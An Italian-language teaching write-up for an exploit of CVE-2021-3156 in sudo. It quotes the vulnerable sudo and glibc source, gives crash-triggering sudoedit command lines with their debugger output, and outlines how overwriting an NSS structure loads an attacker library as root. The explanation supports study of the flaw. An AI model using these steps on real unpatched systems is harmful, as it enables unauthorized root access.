
Implementazione e analisi didattica di un exploit per CVE-2021-3156, un heap-based buffer overflow nella funzione set_cmnd() di sudo, che consente l'escalation dei privilegi a root tramite argomenti della riga di comando appositamente predisposti.
In questo documento includiamo tutte le conoscenze necessarie per comprendere il codice in questo repository e perché funziona. Tutta la spiegazione è basata sul report creato da QUALYS. Lì sono spiegate ulteriori forme di sfruttamento.
Le versioni vulnerabili di sudo sono le versioni legacy da 1.8.2 a 1.8.31p2 e tutte le versioni stabili da 1.9.0 a 1.9.5p1, nella loro configurazione predefinita.
Questo repository è testato su Ubuntu 20.04 (sudo 1.8.31). In esso apriamo un terminale con privilegi di root.
Se Sudo viene eseguito per lanciare un comando in modalità shell:
-s, che imposta i flag MODE_SHELL di sudo.-i, che imposta i flag MODE_SHELL e MODE_LOGIN_SHELL di sudo.Quindi all'inizio di main() di sudo, parse_args() riscrive argv, concatenando tutti gli argomenti della riga di comando e proteggendo tutti i meta-caratteri con backslash.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Successivamente, in sudoers_policy_main(), set_cmnd() concatena gli argomenti della riga di comando in un buffer basato su heap user_args e rimuove la protezione dei meta-caratteri, "per scopi di corrispondenza e registrazione di sudoers":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Se un argomento della riga di comando termina con un singolo carattere backslash, allora:
from[0] è il carattere backslash e from[1] il terminatore nullofrom viene incrementato e punta al terminatore nullouser_args e from viene incrementato di nuovo e punta fuori dai limitiuser_args.In altre parole, set_cmnd() è vulnerabile a un overflow del buffer basato su heap, perché i caratteri fuori dai limiti che vengono copiati nel buffer user_args non sono stati inclusi nella sua dimensione.
In teoria, tuttavia, nessun argomento della riga di comando può terminare con un singolo carattere backslash: se MODE_SHELL o MODE_LOGIN_SHELL è impostato (condizione necessaria per raggiungere il codice vulnerabile), allora MODE_SHELL è impostato e parse_args() ha già protetto tutti i meta-caratteri, inclusi i backslash (cioè, ha protetto ogni singolo backslash con un secondo backslash).
In pratica, tuttavia, il codice vulnerabile in set_cmnd() e il codice di protezione in parse_args() sono circondati da condizioni leggermente diverse:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
La nostra domanda, quindi, è: possiamo impostare MODE_SHELL e MODE_EDIT o MODE_CHECK (per raggiungere il codice vulnerabile) ma non il predefinito MODE_RUN (per evitare il codice di protezione)?
La risposta, a quanto pare, è no: se impostiamo MODE_EDIT (opzione -e) o MODE_CHECK (opzione -l), allora parse_args() rimuove MODE_SHELL dai valid_flags ed esce con un errore se specifichiamo un flag non valido come MODE_SHELL):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Ma abbiamo trovato una scappatoia: se eseguiamo Sudo come sudoedit invece di sudo, allora parse_args() imposta automaticamente MODE_EDIT ma non reimposta valid_flags, e i valid_flags includono MODE_SHELL per impostazione predefinita:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Di conseguenza, se eseguiamo "sudoedit -s", allora impostiamo sia MODE_EDIT che MODE_SHELL (ma non MODE_RUN), evitiamo il codice di protezione, raggiungiamo il codice vulnerabile e causiamo un overflow del buffer basato su heap user_args attraverso un argomento della riga di comando che termina con un singolo carattere backslash:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Dal punto di vista di un attaccante, questo overflow del buffer è ideale:
user_args che facciamo overflow (la dimensione dei nostri argomenti della riga di comando concatenati);user_args).Ad esempio, su un Linux amd64, il seguente comando alloca un buffer user_args di 24 byte (un chunk heap di 32 byte) e sovrascrive il campo size del chunk successivo con "A=a\0B=b\0" (0x00623d4200613d41), il suo campo fd con "C=c\0D=d\0" (0x00643d4400633d43), e il suo campo bk con "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
La funzione che va in crash è nss_load_library() di glibc (alla riga 344) perché il puntatore library è stato sovrascritto.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
I passi per sfruttare questo crash sono i seguenti:
ni->library con NULL. Questo farà sì che il codice entri nella clausola if e inizi l'analisi e il caricamento della libreria.ni->name con "X/X". Questo originariamente conteneva "systemd".__stpcpy parseranno "libnss_X/X.so.2" invece di "libnss_systemd.so.2"."libnss_X/X.so.2" come root. In essa possiamo fare tutto ciò che desideriamo come root.